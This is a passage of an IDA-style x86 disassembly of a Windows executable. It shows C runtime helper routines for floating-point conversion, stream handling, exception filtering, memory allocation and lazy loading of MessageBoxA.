sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 nop call near ptr 26F0000h test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D438o ; ___:0043DB78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o ; --------------------------------------------------------------------------- dec edi inc edx add [eax+1EB093E8h], dl add ah, byte ptr dword_4DBFE8[ebx] retn ; --------------------------------------------------------------------------- byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co dd 4DBFE835h, 81E89000h, 0C3021EB0h ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2600B37h nop test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2660000h nop test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 2600A9Ch nop test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call near ptr 26B0000h nop mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 nop call near ptr 27C0000h mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push 